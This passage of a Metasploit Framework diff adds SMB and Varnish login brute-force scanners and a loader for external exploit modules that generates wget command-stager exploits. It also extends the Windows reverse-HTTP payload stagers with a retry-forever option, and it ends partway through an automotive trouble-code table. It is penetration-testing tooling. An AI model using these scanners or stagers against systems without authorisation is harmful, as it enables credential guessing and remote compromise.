"STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + ].freeze.map(&:freeze) + end + + # @!attribute dispatcher + # @return [RubySMB::Dispatcher::Socket] + attr_accessor :dispatcher + + # If login is successul and {Result#access_level} is not set + # then arbitrary credentials are accepted. If it is set to + # Guest, then arbitrary credentials are accepted, but given + # Guest permissions. + # + # @param domain [String] Domain to authenticate against. Use an + # empty string for local accounts. + # @return [Result] + def attempt_bogus_login(domain) + if defined?(@result_for_bogus) + return @result_for_bogus + end + cred = Credential.new( + public: Rex::Text.rand_text_alpha(8), + private: Rex::Text.rand_text_alpha(8), + realm: domain + ) + @result_for_bogus = attempt_login(cred) + end + + + # (see Base#attempt_login) + def attempt_login(credential) + + begin + connect + rescue ::Rex::ConnectionError => e + result = Result.new( + credential:credential, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e, + host: host, + port: port, + protocol: 'tcp', + service_name: 'smb' + ) + return result + end + proof = nil + + begin + + realm = credential.realm || "" + client = RubySMB::Client.new(self.dispatcher, username: credential.public, password: credential.private, domain: realm) + status_code = client.login + + case status_code.name + when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES + status = Metasploit::Model::Login::Status::DENIED_ACCESS + when 'STATUS_SUCCESS' + status = Metasploit::Model::Login::Status::SUCCESSFUL + when 'STATUS_ACCOUNT_LOCKED_OUT' + status = Metasploit::Model::Login::Status::LOCKED_OUT + when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' + status = Metasploit::Model::Login::Status::INCORRECT + else + status = Metasploit::Model::Login::Status::INCORRECT + end + rescue ::Rex::ConnectionError => e + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + proof = e + end + + result = Result.new(credential: credential, status: status, proof: proof) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'smb' + result + end + + def connect + disconnect + self.sock = super + self.dispatcher = RubySMB::Dispatcher::Socket.new(self.sock) + end + + def set_sane_defaults + self.connection_timeout = 10 if self.connection_timeout.nil? + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/varnish.rb b/lib/metasploit/framework/login_scanner/varnish.rb new file mode 100644 index 0000000000..cafe24841d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/varnish.rb @@ -0,0 +1,55 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/varnish/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Varnish CLI. + + class VarnishCLI + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::Varnish::Client + + DEFAULT_PORT = 6082 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'varnishcli' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + def attempt_login(credential) + begin + connect + success = login(credential.private) + close_session + disconnect + rescue RuntimeError => e + return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message} + rescue Rex::ConnectionError, EOFError, Timeout::Error + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT + + result = Result.new(credential: credential, status: status) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'varnishcli' + result + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + end + end +end diff --git a/lib/metasploit/framework/spec/constants.rb b/lib/metasploit/framework/spec/constants.rb index c062e2bb30..0472845e0e 100644 --- a/lib/metasploit/framework/spec/constants.rb +++ b/lib/metasploit/framework/spec/constants.rb @@ -20,6 +20,7 @@ module Metasploit::Framework::Spec::Constants # and not dynamically loaded code PERSISTENT_CHILD_CONSTANT_NAMES = %w{ Error + External Loader MetasploitClassCompatibilityError Namespace diff --git a/lib/metasploit/framework/varnish/client.rb b/lib/metasploit/framework/varnish/client.rb new file mode 100644 index 0000000000..88a6ff1ad8 --- /dev/null +++ b/lib/metasploit/framework/varnish/client.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/tcp' + +module Metasploit + module Framework + module Varnish + module Client + + @@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth + @@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok + + def require_auth? + # function returns false if no auth is required, else the challenge string + res = sock.get_once # varnish can give the challenge on connect, so check if we have it already + if res && res =~ @@AUTH_REQUIRED_REGEX + return $1 + end + # Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging + sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n") + res = sock.get_once # grab challenge + if res && res =~ @@AUTH_REQUIRED_REGEX + return $1 + end + return false + end + + def login(pass) + # based on https://www.varnish-cache.org/trac/wiki/CLI + begin + challenge = require_auth? + if !!challenge + response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n") + sock.put("auth #{response}\n") + res = sock.get_once + if res && res =~ @@AUTH_SUCCESS_REGEX + return true + else + return false + end + else + raise RuntimeError, "No Auth Required" + end + rescue Timeout::Error + raise RuntimeError, "Varnish Login timeout" + end + end + + def close_session + sock.put('quit') + end + + end + end + end +end + diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 338826fd2d..be1052f185 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.3" + VERSION = "4.14.8" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb index f95af2c253..171d8b9464 100644 --- a/lib/msf/base/sessions/hwbridge.rb +++ b/lib/msf/base/sessions/hwbridge.rb @@ -157,6 +157,26 @@ class HWBridge < Rex::Post::HWBridge::Client console.disable_output = original end + # + # Loads the zigbee extension + # + def load_zigbee + original = console.disable_output + console.disable_output = true + console.run_single('load zigbee') + console.disable_output = original + end + + # + # Loads the rftransceiver extension + # + def load_rftransceiver + original = console.disable_output + console.disable_output = true + console.run_single('load rftransceiver') + console.disable_output = original + end + # # Load custom methods provided by the hardware # diff --git a/lib/msf/core/auxiliary/crand.rb b/lib/msf/core/auxiliary/crand.rb new file mode 100644 index 0000000000..9635306d07 --- /dev/null +++ b/lib/msf/core/auxiliary/crand.rb @@ -0,0 +1,113 @@ +module Msf + +### +# +# This module provides a complete port of the libc rand() and srand() functions. +# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might +# be useful for any other module that needs to emulate C's random number generator. +# +# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security +# +### +module Auxiliary::CRand + + attr_accessor :randtbl + attr_accessor :unsafe_state + +#################### +# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c +# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c + + TYPE_3 = 3 + BREAK_3 = 128 + DEG_3 = 31 + SEP_3 = 3 + + def initialize(info = {}) + super + + @randtbl = + [ + # we omit TYPE_3 from here, not needed + -1726662223, 379960547, 1735697613, 1040273694, 1313901226, + 1627687941, -179304937, -2073333483, 1780058412, -1989503057, + -615974602, 344556628, 939512070, -1249116260, 1507946756, + -812545463, 154635395, 1388815473, -1926676823, 525320961, + -1009028674, 968117788, -123449607, 1284210865, 435012392, + -2017506339, -911064859, -370259173, 1132637927, 1398500161, + -205601318, + ] + + @unsafe_state = { + "fptr" => SEP_3, + "rptr" => 0, + "state" => 0, + "rand_type" => TYPE_3, + "rand_deg" => DEG_3, + "rand_sep" => SEP_3, + "end_ptr" => DEG_3 + } + end + + # Emulate the behaviour of C's srand + def srandom_r (seed) + state = @randtbl + if seed == 0 + seed = 1 + end + state[0] = seed + + dst = 0 + word = seed + kc = DEG_3 + for i in 1..(kc-1) + hi = word / 127773 + lo = word % 127773 + word = 16807 * lo - 2836 * hi + if (word < 0) + word += 2147483647 + end + dst += 1 + state[dst] = word + end + + @unsafe_state['fptr'] = @unsafe_state['rand_sep'] + @unsafe_state['rptr'] = 0 + + kc *= 10 + kc -= 1 + while (kc >= 0) + random_r + kc -= 1 + end + end + + # Emulate the behaviour of C's rand + def random_r + buf = @unsafe_state + state = buf['state'] + + fptr = buf['fptr'] + rptr = buf['rptr'] + end_ptr = buf['end_ptr'] + val = @randtbl[fptr] += @randtbl[rptr] + + result = (val >> 1) & 0x7fffffff + fptr += 1 + if (fptr >= end_ptr) + fptr = state + rptr += 1 + else + rptr += 1 + if (rptr >= end_ptr) + rptr = state + end + end + buf['fptr'] = fptr + buf['rptr'] = rptr + + result + end + +end +end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 984a4ad6cd..296a48d438 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -4,6 +4,7 @@ # Auxiliary mixins # require 'msf/core/auxiliary/auth_brute' +require 'msf/core/auxiliary/crand' require 'msf/core/auxiliary/dos' require 'msf/core/auxiliary/drdos' require 'msf/core/auxiliary/fuzzer' diff --git a/lib/msf/core/auxiliary/sms.rb b/lib/msf/core/auxiliary/sms.rb index 7c15ac319c..a98d1983f0 100644 --- a/lib/msf/core/auxiliary/sms.rb +++ b/lib/msf/core/auxiliary/sms.rb @@ -22,7 +22,8 @@ module Msf OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]), OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']), - OptString.new('SMSMESSAGE', [true, 'The text message to send']) + OptString.new('SMSMESSAGE', [true, 'The text message to send']), + OptString.new('SMSSUBJECT', [false, 'The text subject', '']) ], Auxiliary::Sms) register_advanced_options( @@ -42,10 +43,11 @@ module Msf # sms.send_text_to_phones(numbers, 'Hello from Gmail') # # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param subject [String] The text subject # @param message [String] The text to send. # # @return [void] - def send_text(phone_numbers, message) + def send_text(phone_numbers, subject, message) smtp = Rex::Proto::Sms::Model::Smtp.new( address: datastore['SMTPADDRESS'], port: datastore['SMTPPORT'], @@ -57,7 +59,7 @@ module Msf carrier = datastore['SMSCARRIER'].to_sym sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp) - sms.send_text_to_phones(phone_numbers, message) + sms.send_text_to_phones(phone_numbers, subject, message) end end diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index e315a33726..c9ad0970f1 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -81,6 +81,7 @@ module Msf::ModuleManager::Cache if module_info parent_path = module_info[:parent_path] + # XXX borked loaders.each do |loader| if loader.loadable?(parent_path) type = module_info[:type] @@ -88,7 +89,7 @@ module Msf::ModuleManager::Cache loaded = loader.load_module(parent_path, type, reference_name, :force => true) - break + break if loaded end end end @@ -162,11 +163,9 @@ module Msf::ModuleManager::Cache # Skip cached modules that are not in our allowed load paths next if allowed_paths.select{|x| path.index(x) == 0}.empty? - typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) - # join to '' so that typed_path_prefix starts with file separator - typed_path_suffix = File.join('', typed_path) - escaped_typed_path = Regexp.escape(typed_path_suffix) - parent_path = path.gsub(/#{escaped_typed_path}$/, '') + # The load path is assumed to be the next level above the type directory + type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '') + parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite module_info_by_path[path] = { :reference_name => reference_name, diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index c7bb4a0bb5..b08829dbf9 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -8,6 +8,7 @@ require 'active_support/concern' # Project # require 'msf/core/modules/loader/directory' +require 'msf/core/modules/loader/executable' # Deals with loading modules for the {Msf::ModuleManager} module Msf::ModuleManager::Loading @@ -19,7 +20,8 @@ module Msf::ModuleManager::Loading # Classes that can be used to load modules. LOADER_CLASSES = [ - Msf::Modules::Loader::Directory + Msf::Modules::Loader::Directory, + Msf::Modules::Loader::Executable # TODO: XXX: When this is the first loader we can load normal exploits, but not payloads ] def file_changed?(path) @@ -115,8 +117,6 @@ module Msf::ModuleManager::Loading loaders.each do |loader| if loader.loadable?(path) count_by_type = loader.load_modules(path, options) - - break end end diff --git a/lib/msf/core/modules/external.rb b/lib/msf/core/modules/external.rb new file mode 100644 index 0000000000..3090640944 --- /dev/null +++ b/lib/msf/core/modules/external.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- +# Namespace for loading external Metasploit modules + +module Msf::Modules::External + +end + diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb new file mode 100644 index 0000000000..b430a970ef --- /dev/null +++ b/lib/msf/core/modules/external/bridge.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- +require 'msf/core/modules/external' +require 'msf/core/modules/external/message' +require 'open3' + +class Msf::Modules::External::Bridge + + attr_reader :path, :running + + def meta + @meta ||= describe + end + + def run(datastore) + unless self.running + m = Msf::Modules::External::Message.new(:run) + m.params = datastore.dup + send(m) + self.running = true + end + end + + def get_status + if self.running + n = receive_notification + if n && n['params'] + n['params'] + else + close_ios + self.running = false + n['response'] if n + end + end + end + + def initialize(module_path) + self.running = false + self.path = module_path + end + + protected + + attr_writer :path, :running + attr_accessor :ios + + def describe + resp = send_receive(Msf::Modules::External::Message.new(:describe)) + close_ios + resp['response'] + end + + # XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read + + def send_receive(message) + send(message) + read_json(message.id, self.ios[1]) + end + + def send(message) + input, output, status = ::Open3.popen3([self.path, self.path]) + self.ios = [input, output, status] + case Rex::ThreadSafe.select(nil, [input], nil, 0.1) + when nil + raise "Cannot run module #{self.path}" + when [[], [input], []] + m = message.to_json + write_message(input, m) + else + raise "Error running module #{self.path}" + end + end + + def receive_notification + input, output, status = self.ios + case Rex::ThreadSafe.select([output], nil, nil, 10) + when nil + nil + when [[output], [], []] + read_json(nil, output) + end + end + + def write_message(fd, json) + fd.write(json) + end + + def read_json(id, fd) + begin + resp = fd.readpartial(10_000) + JSON.parse(resp) + rescue EOFError => e + {} + end + end + + def close_ios + input, output, status = self.ios + [input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know. + end +end diff --git a/lib/msf/core/modules/external/message.rb b/lib/msf/core/modules/external/message.rb new file mode 100644 index 0000000000..429e47fc00 --- /dev/null +++ b/lib/msf/core/modules/external/message.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- +require 'msf/core/modules/external' +require 'base64' +require 'json' + +class Msf::Modules::External::Message + + attr_reader :method, :id + attr_accessor :params + + def initialize(m) + self.method = m + self.params = {} + self.id = Base64.strict_encode64(SecureRandom.random_bytes(16)) + end + + def to_json + JSON.generate({jsonrpc: '2.0', id: self.id, method: self.method, params: self.params.to_h}) + end + + protected + + attr_writer :method, :id +end diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb new file mode 100644 index 0000000000..a5a21132dd --- /dev/null +++ b/lib/msf/core/modules/external/shim.rb @@ -0,0 +1,103 @@ +# -*- coding: binary -*- +require 'msf/core/modules/external' +require 'msf/core/modules/external/bridge' + +class Msf::Modules::External::Shim + def self.generate(module_path) + mod = Msf::Modules::External::Bridge.new(module_path) + return '' unless mod.meta + case mod.meta['type'] + when 'remote_exploit.cmd_stager.wget' + s = remote_exploit_cmd_stager(mod) + File.open('/tmp/module', 'w') {|f| f.write(s)} + s + end + end + + def self.remote_exploit_cmd_stager(mod) + %Q| +require 'msf/core/modules/external/bridge' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => #{mod.meta['name'].dump}, + 'Description' => #{mod.meta['description'].dump}, + 'Author' => + [ + #{mod.meta['authors'].map(&:dump).join(', ')} + ], + 'License' => MSF_LICENSE, + 'References' => + [ + #{mod.meta['references'].map do |r| + "[#{r['type'].upcase.dump}, #{r['ref'].dump}]" + end.join(', ')} + ], + 'DisclosureDate' => #{mod.meta['date'].dump}, + 'Privileged' => #{mod.meta['privileged'].inspect}, + 'Platform' => [#{mod.meta['targets'].map{|t| t['platform'].dump}.uniq.join(', ')}], + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + #{mod.meta['targets'].map do |t| + %Q^[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, + {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]^ + end.join(', ')} + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'WfsDelay' => 5 } + )) + + register_options([ + #{mod.meta['options'].map do |n, o| + "Opt#{o['type'].capitalize}.new(#{n.dump}, + [#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])" + end.join(', ')} + ], self.class) + end + + def execute_command(cmd, opts) + mod = Msf::Modules::External::Bridge.new(#{mod.path.dump}) + mod.run(datastore.merge(command: cmd)) + wait_status(mod) + true + end + + def exploit + print_status("Exploiting...") + execute_cmdstager({:flavor => :wget}) + end + + def wait_status(mod) + while mod.running + m = mod.get_status + if m + case m['level'] + when 'error' + print_error m['message'] + when 'warning' + print_warning m['message'] + when 'good' + print_good m['message'] + when 'info' + print_status m['message'] + when 'debug' + vprint_status m['message'] + else + print_status m['message'] + end + end + end + end +end + | + end +end diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index f311e4b767..2dbf15cb84 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -11,11 +11,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # @return [true] if path is a directory # @return [false] otherwise def loadable?(path) - if File.directory?(path) - true - else - false - end + File.directory?(path) end protected @@ -35,8 +31,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base full_entry_path = ::File.join(path, entry) type = entry.singularize - unless ::File.directory?(full_entry_path) and - module_manager.type_enabled? type + unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type) next end diff --git a/lib/msf/core/modules/loader/executable.rb b/lib/msf/core/modules/loader/executable.rb new file mode 100644 index 0000000000..92326e94e1 --- /dev/null +++ b/lib/msf/core/modules/loader/executable.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +require 'msf/core/modules/loader' +require 'msf/core/modules/loader/base' +require 'msf/core/modules/external/shim' + +# Concerns loading executables from a directory as modules +class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base + # Returns true if the path is a directory + # + # @param (see Msf::Modules::Loader::Base#loadable?) + # @return [true] if path is a directory + # @return [false] otherwise + def loadable?(path) + File.directory?(path) + end + + protected + + # Yields the module_reference_name for each module file found under the directory path. + # + # @param [String] path The path to the directory. + # @param [Hash] opts Input Hash. + # @yield (see Msf::Modules::Loader::Base#each_module_reference_name) + # @yieldparam [String] path The path to the directory. + # @yieldparam [String] type The type correlated with the directory under path. + # @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name) + # @return (see Msf::Modules::Loader::Base#each_module_reference_name) + def each_module_reference_name(path, opts={}) + whitelist = opts[:whitelist] || [] + ::Dir.foreach(path) do |entry| + full_entry_path = ::File.join(path, entry) + type = entry.singularize + + unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type) + next + end + + full_entry_pathname = Pathname.new(full_entry_path) + + # Try to load modules from all the files in the supplied path + Rex::Find.find(full_entry_path) do |entry_descendant_path| + if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path) + entry_descendant_pathname = Pathname.new(entry_descendant_path) + relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname) + relative_entry_descendant_path = relative_entry_descendant_pathname.to_s + + # The module_reference_name doesn't have a file extension + module_reference_name = File.join(File.dirname(relative_entry_descendant_path), File.basename(relative_entry_descendant_path, '.*')) + + yield path, type, module_reference_name + end + end + end + end + + # Returns the full path to the module file on disk. + # + # @param (see Msf::Modules::Loader::Base#module_path) + # @return [String] Path to module file on disk. + def module_path(parent_path, type, module_reference_name) + # The extension is lost on loading, hit the disk to recover :( + partial_path = File.join(DIRECTORY_BY_TYPE[type], module_reference_name) + full_path = File.join(parent_path, partial_path) + + Rex::Find.find(File.dirname(full_path)) do |mod| + if File.basename(full_path, '.*') == File.basename(mod, '.*') + return File.join(File.dirname(full_path), File.basename(mod)) + end + end + + '' + end + + # Loads the module content from the on disk file. + # + # @param (see Msf::Modules::Loader::Base#read_module_content) + # @return (see Msf::Modules::Loader::Base#read_module_content) + def read_module_content(parent_path, type, module_reference_name) + full_path = module_path(parent_path, type, module_reference_name) + unless File.executable?(full_path) + load_error(full_path, Errno::ENOENT.new) + return '' + end + Msf::Modules::External::Shim.generate(full_path) + end +end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index be0bb09316..b4c6a62b91 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), @@ -47,7 +48,8 @@ module Payload::Windows::ReverseHttp ssl: opts[:ssl] || false, host: ds['LHOST'], port: ds['LPORT'], - retry_count: ds['StagerRetryCount'] + retry_count: ds['StagerRetryCount'], + retry_wait: ds['StagerRetryWait'] } # Add extra options if we have enough space @@ -153,10 +155,12 @@ module Payload::Windows::ReverseHttp # @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_pass The optional proxy server password # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up + # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # def asm_reverse_http(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max + retry_count = opts[:retry_count].to_i + retry_wait = opts[:retry_wait].to_i * 1000 proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" @@ -315,15 +319,21 @@ module Payload::Windows::ReverseHttp push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp xchg esi, eax ; save hHttpRequest in esi - + ^ + if retry_count > 0 + asm << %Q^ ; Store our retry counter in the edi register set_retry: push #{retry_count} pop edi + ^ + end + asm << %Q^ send_request: ^ + if opts[:ssl] asm << %Q^ ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); @@ -349,14 +359,30 @@ module Payload::Windows::ReverseHttp push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp test eax,eax - jnz allocate_memory + jnz allocate_memory + + set_wait: + push #{retry_wait} ; dwMilliseconds + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( dwMilliseconds ); + ^ + + if retry_count > 0 + asm << %Q^ + try_it_again: + dec edi + jnz send_request - try_it_again: - dec edi - jnz send_request + ; if we didn't allocate before running out of retries, bail out + ^ + else + asm << %Q^ + try_it_again: + jmp send_request - ; if we didn't allocate before running out of retries, bail out - ^ + ; retry forever + ^ + end if opts[:exitfunk] asm << %Q^ diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index a35fbefc7a..004db9324c 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64 super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), @@ -52,7 +53,8 @@ module Payload::Windows::ReverseHttp_x64 ssl: opts[:ssl] || false, host: ds['LHOST'], port: ds['LPORT'], - retry_count: ds['StagerRetryCount'] + retry_count: ds['StagerRetryCount'], + retry_wait: ds['StagerRetryWait'] } # add extended options if we do have enough space @@ -152,10 +154,12 @@ module Payload::Windows::ReverseHttp_x64 # @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_pass The optional proxy server password # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up + # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # def asm_reverse_http(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max + retry_count = opts[:retry_count].to_i + retry_wait = opts[:retry_wait].to_i * 1000 proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" @@ -320,15 +324,19 @@ module Payload::Windows::ReverseHttp_x64 mov rsi, rax ^ - if retry_count > 1 + if retry_count > 0 asm << %Q^ push #{retry_count} pop rdi - - retryrequest: ^ end + + asm << %Q^ + retryrequest: + ^ + + if opts[:ssl] asm << %Q^ internetsetoption: @@ -358,9 +366,15 @@ module Payload::Windows::ReverseHttp_x64 call rbp test eax, eax jnz allocate_memory + + set_wait: + mov rcx, #{retry_wait} ; dwMilliseconds + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} + call rbp ; Sleep( dwMilliseconds ); ^ + - if retry_count > 1 + if retry_count > 0 asm << %Q^ try_it_again: dec rdi @@ -369,7 +383,8 @@ module Payload::Windows::ReverseHttp_x64 ^ else asm << %Q^ - jmp failure + jmp retryrequest + ; retry forever ^ end diff --git a/lib/msf/core/post/hardware.rb b/lib/msf/core/post/hardware.rb index 9f6772ad85..4f47914589 100644 --- a/lib/msf/core/post/hardware.rb +++ b/lib/msf/core/post/hardware.rb @@ -1,4 +1,7 @@ # -*- coding: binary -*- module Msf::Post::Hardware require 'msf/core/post/hardware/automotive/uds' + require 'msf/core/post/hardware/automotive/dtc' + require 'msf/core/post/hardware/zigbee/utils' + require 'msf/core/post/hardware/rftransceiver/rftransceiver' end diff --git a/lib/msf/core/post/hardware/automotive/dtc.rb b/lib/msf/core/post/hardware/automotive/dtc.rb new file mode 100644 index 0000000000..a9a6930811 --- /dev/null +++ b/lib/msf/core/post/hardware/automotive/dtc.rb @@ -0,0 +1,2084 @@ +# -*- coding: binary -*- +module Msf +class Post +module Hardware +module Automotive + +module DTC + +DTC_CODES = { + "P0001" => "Fuel Volume Regulator Control Circuit/Open", + "P0002" => "Fuel Volume Regulator Control Circuit Range/Performance", + "P0003" => "Fuel Volume Regulator Control Circuit Low", + "P0004" => "Fuel Volume Regulator Control Circuit High", + "P0005" => "Fuel Shutoff Valve 'A' Control Circuit/Open", + "P0006" => "Fuel Shutoff Valve 'A' Control Circuit Low", + "P0007" => "Fuel Shutoff Valve 'A' Control Circuit High", + "P0008" => "Engine Position System Performance", + "P0009" => "Engine Position System Performance", + "P0010" => "'A' Camshaft Position Actuator Circuit", + "P0011" => "'A' Camshaft Position - Timing Over-Advanced or System Performance", + "P0012" => "'A' Camshaft Position - Timing Over-Retarded", + "P0013" => "'B' Camshaft Position - Actuator Circuit", + "P0014" => "'B' Camshaft Position - Timing Over-Advanced or System Performance", + "P0015" => "'B' Camshaft Position - Timing Over-Retarded", + "P0016" => "Crankshaft Position - Camshaft Position Correlation", + "P0017" => "Crankshaft Position - Camshaft Position Correlation", + "P0018" => "Crankshaft Position - Camshaft Position Correlation", + "P0019" => "Crankshaft Position - Camshaft Position Correlation", + "P0020" => "'A' Camshaft Position Actuator Circuit", + "P0021" => "'A' Camshaft Position - Timing Over-Advanced or System Performance", + "P0022" => "'A' Camshaft Position - Timing Over-Retarded", + "P0023" => "'B' Camshaft Position - Actuator Circuit", + "P0024" => "'B' Camshaft Position - Timing Over-Advanced or System Performance", + "P0025" => "'B' Camshaft Position - Timing Over-Retarded", + "P0026" => "Intake Valve Control Solenoid Circuit Range/Performance", + "P0027" => "Exhaust Valve Control Solenoid Circuit Range/Performance", + "P0028" => 